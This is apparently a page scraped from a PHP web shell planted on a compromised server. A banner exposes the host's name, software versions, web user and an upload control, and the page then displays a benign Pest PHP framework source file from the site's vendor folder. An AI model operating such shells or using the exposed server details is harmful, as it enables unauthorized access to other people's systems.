GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/vendor/pestphp/pest/src/Repositories/BeforeEachRepository.php
<?php

declare(strict_types=1);

namespace Pest\Repositories;

use Closure;
use Pest\PendingCalls\BeforeEachCall;
use Pest\Support\ChainableClosure;
use Pest\Support\NullClosure;

/**
 * @internal
 */
final class BeforeEachRepository
{
    /**
     * @var array<string, array{0: Closure, 1: Closure}>
     */
    private array $state = [];

    /**
     * Sets a before each closure.
     */
    public function set(string $filename, BeforeEachCall $beforeEachCall, Closure $beforeEachTestCall, Closure $beforeEachTestCase): void
    {
        if (array_key_exists($filename, $this->state)) {
            [$fromBeforeEachTestCall, $fromBeforeEachTestCase] = $this->state[$filename];

            $beforeEachTestCall = ChainableClosure::unbound($fromBeforeEachTestCall, $beforeEachTestCall);
            $beforeEachTestCase = ChainableClosure::bound($fromBeforeEachTestCase, $beforeEachTestCase)->bindTo($beforeEachCall, $beforeEachCall::class);
            assert($beforeEachTestCase instanceof Closure);
        }

        $this->state[$filename] = [$beforeEachTestCall, $beforeEachTestCase];
    }

    /**
     * Gets a before each closure by the given filename.
     *
     * @return array{0: Closure, 1: Closure}
     */
    public function get(string $filename): array
    {
        $closures = $this->state[$filename] ?? [];

        return [
            $closures[0] ?? NullClosure::create(),
            $closures[1] ?? NullClosure::create(),
        ];
    }
}